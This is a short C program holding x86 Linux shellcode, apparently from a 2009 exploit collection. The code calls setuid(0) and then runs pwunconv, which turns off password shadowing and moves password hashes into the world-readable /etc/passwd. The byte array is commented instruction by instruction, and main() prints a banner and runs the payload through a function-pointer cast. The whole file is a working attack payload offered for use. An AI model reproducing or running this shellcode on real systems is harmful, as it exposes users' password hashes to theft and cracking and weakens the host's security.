#include <stdio.h>

const char sc[]= "\x31\xdb" //xor ebx,ebx
                 "\x8d\x43\x17" //LEA eax,[ebx + 0x17] /LEA is FASTER than push and pop!
                 "\x99" //cdq
                 "\xcd\x80" //int 80 //setuid(0) shouldn't returns -1 right? ;)
                 "\xb0\x0b" //mov al,0bh
                 "\x52" //push edx /Termina la cadena con un 0
                 "\x68\x63\x6f\x6e\x76" //push dword "conv"
                 "\x68\x70\x77\x75\x6e" //push dword "pwun"
                 "\x68\x62\x69\x6e\x2f" //push dword "bin/"
                 "\x68\x73\x72\x2f\x73" //push dword "sr/s"
                 "\x68\x2f\x2f\x2f\x75" //push dword "///u"
                 "\x89\xe3" //mov ebx,esp
                 "\x89\xd1" //mov ecx,edx
                 "\xcd\x80"; //int 80h

void main()
{
  printf("\n~ This shellcode disables shadowing on a linux system ~"
         "\n\n\t ~ Coded by vlan7 ~"
         "\n\t ~ http://vlan7.blogspot.com ~"
         "\n\n ~ Date: 4/Jul/2009"

         "\n\tYou'll have the passwords stored in /etc/passwd."
     "\n\tFor undo purposes use the pwconv command."
         "\n\t ~ Cheers go to: Wadalbertia"
         "\n\t ~ Shellcode Size: %d bytes\n\n",
                sizeof(sc)-1);

        (*(void (*)()) sc)();
}